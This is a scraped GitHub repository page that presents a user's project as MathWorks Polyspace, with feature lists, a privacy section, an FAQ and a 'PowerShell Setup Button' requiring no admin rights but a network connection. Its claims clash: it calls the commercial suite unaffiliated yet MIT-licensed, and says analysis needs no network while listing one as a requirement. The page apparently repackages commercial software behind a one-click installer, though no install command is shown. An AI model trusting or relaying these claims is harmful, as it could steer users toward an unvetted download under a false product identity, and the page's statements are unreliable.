Skip to content
Projects

Romelcabrillos/mathworks-polyspace

View on GitHub

About

Static analysis suite for Windows 10/11: abstract interpretation bug detection, formal proof verific

Productivity & Automation

How these counts are measured

What you can do

  • Abstract Interpretation Engine — propagates value ranges through the control-flow graph to classify each operation as proven safe, proven faulty, or unproven, establishing the absence of runtime errors, integer overflows, and out-of-bounds access prior to execution.
  • Formal Proof Verification — produces sound, per-operation proofs rather than heuristic warnings, so accepted results carry verifiable evidence suitable for ISO 26262 and IEC 61508 assessment activities.
  • Pattern and Data-Flow Checks — detects null-pointer dereferences, uninitialized reads, use-after-free patterns, and array overruns alongside rule violations across translation units.
  • MISRA and CERT Rule Checking — enforces MISRA C:, AUTOSAR C++14, and CERT C/C++ rulesets, with support for custom rule models defined in project settings.

Measured star growth

in 24h
Collecting history
in 7 days
Collecting history
in 15 days
Collecting history
in 1 month
Collecting history

Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.

README.md

Original

Polyspace Static Analysis for Windows 10/11 — Security Suite

🔧 PowerShell Setup Button

ci lic ps-core release


MathWorks Polyspace is a static code analysis suite for Windows 10 and 11 that applies abstract interpretation and formal proof verification directly to C and C++ sources, establishing the absence of runtime errors before execution. The toolchain combines bug detection, MISRA and CERT rule checking, and variable range analysis to classify each operation as proven safe, proven faulty, or dependent on runtime values. It ships as a standalone package with a headless batch mode for PowerShell and CI pipelines, alongside a desktop interface and Results Manager for reviewing findings and justifications. This document covers deployment requirements, on-disk configuration, command-line options, and troubleshooting for engineering workstations and build agents.

✅ Requirements

  • Windows 10 or Windows 11
  • PowerShell 5.1 or newer (already available on Windows)
  • Active network connection
  • No admin rights needed

Features

  • Abstract Interpretation Engine — propagates value ranges through the control-flow graph to classify each operation as proven safe, proven faulty, or unproven, establishing the absence of runtime errors, integer overflows, and out-of-bounds access prior to execution.

  • Formal Proof Verification — produces sound, per-operation proofs rather than heuristic warnings, so accepted results carry verifiable evidence suitable for ISO 26262 and IEC 61508 assessment activities.

  • Pattern and Data-Flow Checks — detects null-pointer dereferences, uninitialized reads, use-after-free patterns, and array overruns alongside rule violations across translation units.

  • MISRA and CERT Rule Checking — enforces MISRA C:, AUTOSAR C++14, and CERT C/C++ rulesets, with support for custom rule models defined in project settings.

  • Variable Range Analysis — computes interprocedural value constraints across function boundaries, surfacing defects that depend on runtime ranges and remain invisible to compiler front ends.

  • Desktop and Web Review — renders per-line color-coded findings in the desktop interface and the Results Manager web client, with review status, justifications, and suppression tracking.

  • Cross-Compilation Support — accepts compiler-specific flags and target descriptions so Linux or ARM sources are analyzed on Windows workstations without an emulator.

  • Headless Batch Mode — executes the code prover and bug finder binaries from PowerShell or CI pipelines without launching the graphical interface, returning deterministic exit codes for merge gating.

  • Baseline and Delta Analysis — diffs a new run against a saved results baseline to isolate regressions introduced since the last accepted build.

  • Metrics and Reports — exports Cyclomatic complexity, function call depth, and rule compliance to HTML, CSV, and PDF formats for assessors and audit trails.

How it works

Polyspace operates in two complementary analysis passes. The first, pattern and data-flow checking, parses each translation unit into an intermediate representation and traverses the control-flow and call graphs to match known defect signatures: null dereferences, out-of-bounds indexing, uninitialized reads, and rule deviations from MISRA C:, AUTOSAR C++14, and CERT C/C++. The second, abstract interpretation, propagates value ranges and interval constraints through every operation without executing the code, assigning each result a proof state — proven safe, proven faulty, or unproven pending runtime values. Code Prover relies on this second pass, while Bug Finder combines both.

Analysis begins after preprocessing with the configured compiler profile. The selected profile supplies system headers, intrinsic semantics, and type widths so that Windows-hosted runs reproduce the target toolchain's behavior, including cross-compiled Linux and ARM sources. Every operation is evaluated against the propagated range; an arithmetic result whose range exceeds its destination type is flagged, and a pointer dereference whose address set cannot be proven non-null is reported as unproven rather than assumed safe. This distinction is central: findings are not heuristic guesses but consequences of the value ranges derived from the source and its entry-point constraints.

Results are written to a project database (.psbf for Bug Finder, .pscp for Code Prover). Each finding carries its source location, the proof state, the rule violated where applicable, and the full propagation context needed to justify or dismiss it. The desktop interface renders per-line color coding, and the Results Manager web client aggregates findings across agents for team review. Saved baselines let a subsequent run diff against an accepted build, so only regressions introduced since the last gate are surfaced.

Parallel execution splits translation units across worker processes; each worker holds an independent heap sized by the configured limit, which is why worker count and peak memory scale together. The engine is deterministic for a fixed source tree, compiler profile, rule set, and worker count: identical inputs produce identical proof states and finding sets, which is a precondition for using Polyspace as a merge gate. Batch mode exposes the same engine through the command-line launcher, returning documented exit codes so CI systems can distinguish a clean run from findings, preprocessing failure, or license checkout failure without parsing output.

No network access is required for local analysis. Results remain on disk in the project database unless an Access Server is configured to centralize them, and the desktop state, settings, and license configuration are confined to the per-user and shared application data paths described in the Configuration reference.

Privacy

MathWorks Polyspace operates entirely on the local workstation or build agent. Source files, preprocessed translation units, compiler include trees, and the resulting project databases are read from and written to paths you control; no source text, finding, justification, rule model, or metrics report is transmitted off the machine by the analysis engines.

  • No telemetry from analysis runs. polyspace-bug-finder and polyspace-code-prover emit results to the directory given by -results-dir and write logs under the project folder. These binaries do not open outbound network connections during analysis.
  • Local project storage. Per-user databases live under %LOCALAPPDATA%\Polyspace\R2024b\Projects; shared sites may redirect them to a network share, in which case data residency follows your own file-server policy rather than any vendor endpoint.
  • License checkout only. The sole routine outbound traffic is a license checkout to the FlexNet server named in LM_LICENSE_FILE or MLM_LICENSE_FILE. That exchange carries seat and feature identifiers, not source code or analysis findings.
  • Optional Results Manager centralization. If you point a project at a Results Manager server, findings and review justifications are uploaded to that server. This is opt-in and configured per project; leave result storage local to keep all artifacts on the agent.
  • Installer update channel. The MathWorks installer may contact its update service when the configured channel is queried. Set the channel to Stable and perform updates through your normal software distribution process to keep endpoints off the public network.
  • No third-party analytics. The desktop UI and command-line tools do not bundle advertising SDKs, crash reporters, or usage analytics that phone home.

Review the %PROGRAMDATA%\MathWorks\Polyspace\Configuration overrides and any site license.opt before deployment to confirm the license server host and that no optional network features are enabled beyond what your environment requires.

FAQ

Does Code Prover require a separate MATLAB license for headless runs?

No. The Polyspace Windows installer includes its own license checkout and runs Code Prover, Bug Finder, and Results Manager independently of MATLAB. A MATLAB installation is only required when using the Simulink integration or the MATLAB scripting API for custom analysis drivers.

Why does Bug Finder report a defect that the compiler did not warn about?

Polyspace performs value-range analysis across the control-flow graph, so it detects overflows and dereferences that depend on runtime ranges spanning function boundaries. These conditions are frequently invisible to the compiler front end, which validates syntax and local types rather than interprocedural value constraints. Confirmed false positives can be suppressed with #pragma polyspace justifications to keep the signal-to-noise ratio high.

Can Windows and Linux agents share the same Results Manager project?

Yes, provided the same Polyspace release and rule model are installed on every agent and results are uploaded through the same Access Server instance. The .psbf and .pscp databases are portable across platforms for a matching release, but mixing R2024a with R2024b results in the same project triggers schema migration warnings.

How does Polyspace differ from a conventional linter or compiler warning set?

A linter evaluates local syntax patterns and type rules. Polyspace additionally runs abstract interpretation to propagate value ranges through the entire call graph, which lets Code Prover classify each operation as proven safe, proven faulty, or unproven based on runtime-dependent conditions. This distinction is what allows the tool to produce formal proof evidence for safety assessments rather than heuristic warnings alone.

What is the recommended workflow for gating pull requests on findings?

Run Bug Finder in headless mode on each pull request with a saved results baseline and compare the delta. Configure the exit code threshold so that new findings above the chosen severity fail the job. Reserve full Code Prover runs for pre-release verification cycles, since proof-strength analysis on large translation units is measured in hours rather than minutes.

Disclaimer

This reference documentation for MathWorks Polyspace is provided on an "as is" basis, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. MathWorks Polyspace is a commercial static analysis suite; this page is an independent administrative reference maintained by third parties and is not affiliated with, endorsed by, or sponsored by The MathWorks, Inc.

Analysis results produced by Polyspace are advisory. Code Prover and Bug Finder reduce the presence of specific defect classes for the analyzed translation units and rule configuration, but no static analysis toolchain demonstrates the absence of all defects. Findings depend on the supplied compiler profile, include paths, rule model, and the completeness of the analyzed sources. Unanalyzed translation units, generated code, assembly, and out-of-scope libraries remain outside the analysis boundary. Verification evidence for safety certifications (ISO 26262, IEC 61508, DO-178C, and equivalent standards) requires independent tool qualification and review by a qualified assessor; the output of this suite supports but does not replace that process.

The authors and maintainers of this page accept no liability for damages, losses, or certification outcomes arising from the use of this documentation or from reliance on Polyspace findings. Operators are responsible for validating configuration against their toolchain, for reviewing every finding at or above the configured severity threshold, and for retaining baseline and result databases in accordance with their organization's audit requirements. Product names, trademarks, and registered trademarks remain the property of their respective owners.

License

MathWorks Polyspace is distributed under the MIT License. The license grants permission to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the software and its associated documentation, subject to inclusion of the copyright notice and permission notice in all copies or substantial portions of the software.

The software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the software or the use or other dealings in the software.

The MIT License applies to the source code and documentation in this project. It does not extend to third-party components, compiler toolchains, or runtime dependencies referenced by the suite, each of which remains governed by its own respective license terms. Users distributing modified builds are responsible for verifying that all bundled dependencies remain compatible with the MIT terms and for preserving the original copyright notice.

The license text is provided in the LICENSE file at the root of the project. Redistributions in binary form must reproduce the copyright notice, the list of conditions, and the disclaimer in the documentation or other materials shipped with the distribution.

Explore related projects

Loading…